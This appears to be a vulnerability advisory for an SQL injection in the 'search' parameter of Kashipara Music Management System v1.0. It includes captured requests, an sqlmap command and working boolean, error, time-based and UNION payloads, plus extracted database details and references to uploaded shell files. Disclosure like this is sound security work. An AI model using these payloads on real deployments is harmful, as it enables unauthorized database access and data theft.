

SQL injection vulnerability in "/music/ajax.php?action=find_music" in Kashipara Music Management System v1.0 allows attacker to execute arbitrary SQL commands via the "search" parameter.

Affected Project: Kashipara (<https://www.kashipara.com/>)

Product Official Website URL: Music Management System v1.0
(<https://www.kashipara.com/project/php/12978/music-management-system-in-php-php-project-source-code>)

Version: 1.0

Affected Components:

- **Affected Code File:** /music/ajax.php?action=find_music
- **Affected Parameter:** "search" HTTP POST request parameter

Steps:

1. Access the "Find Music" HTTP POST request and capture it in Burp Suite proxy editor.

Request:

POST /music/ajax.php?action=find_music HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 11

search=test

The screenshot displays the Burp Suite interface with a request and response captured. The request is a POST to /music/ajax.php?action=find_music with a search parameter. The response is a 200 OK status with HTML content.

Request	Response
POST /music/ajax.php?action=find_music HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 8 Origin: http://localhost Connection: close Referer: http://localhost/music/index.php?page=playlist Cookie: PHPSESSID=idtv5q2ldi2eks0blrrcu5dio Priority: u=0 search=test	HTTP/1.1 200 OK Date: Tue, 30 Jul 2024 15:08:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 243 Connection: close Content-Type: text/html; charset=UTF-8 [[{"id": "4", "title": "UploadTest1", "upath": "1722347280_Shell11.php", "artist": "UploadTest1", "cover_image": "1722347280_Shell12.php"}, {"id": "5", "title": "Test1", "upath": "1722349260_Capture.JPG", "artist": "Test1", "cover_image": "1722349260_Capture.JPG"}]]

2. In this request, the "search" request parameter is vulnerable to SQL injection. This is demonstrated in next steps.

3. We will run SQLMAP against this HTTP request. Command: **sqlmap.py -r req.txt --batch --flush-session -p search --current-db --current-user --hostname**

```
txt x req.txt x
POST /music/ajax.php?action=find_music HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 11
Origin: http://localhost
Connection: close
Referer: http://localhost/music/index.php?page=playlist
Priority: u=0

search=test
```

```
C:\Windows\System32\cmd.exe
D:\Tools\SQLMAP\sqlmapproject-sqlmap-79aa315>sqlmap.py -r req.txt --batch --flush-session -p search --current-db --current-user --hostname
```

4. SQLMAP identifies parameter “search” as vulnerable. Also, SQLMAP successfully lists out the database, current user and hostname.

```
[20:40:23] [INFO] POST parameter 'search' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
-----
Parameter: search (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: search=test%' AND 8282=8282#

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: search=test%' AND (SELECT 8074 FROM (SELECT COUNT(*), CONCAT(0x717a7a7171, (SELECT (ELT(8074
7171707071, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AapK%'='AapK

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: search=test%' AND (SELECT 8477 FROM (SELECT(SLEEP(5)))MIeT) AND 'ZUMt%'='ZUMt

  Type: UNION query
  Title: MySQL UNION query (NULL) - 5 columns
  Payload: search=test%' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a7a7171,0x6c6d796d44424b4869417
69695972656b5177514e626c7a414a646a546479767463,0x7171707071),NULL#

[20:40:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.12, Apache 2.4.58, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:40:23] [INFO] fetching current user
current user: 'root@localhost'
[20:40:23] [INFO] fetching current database
current database: 'music_db'
[20:40:23] [INFO] fetching server hostname
hostname: 'DESKTOP-PKVTEFL'
```

Solution/Good Reads:

User parameterized SQL queries instead of the dynamic SQL queries.

- https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html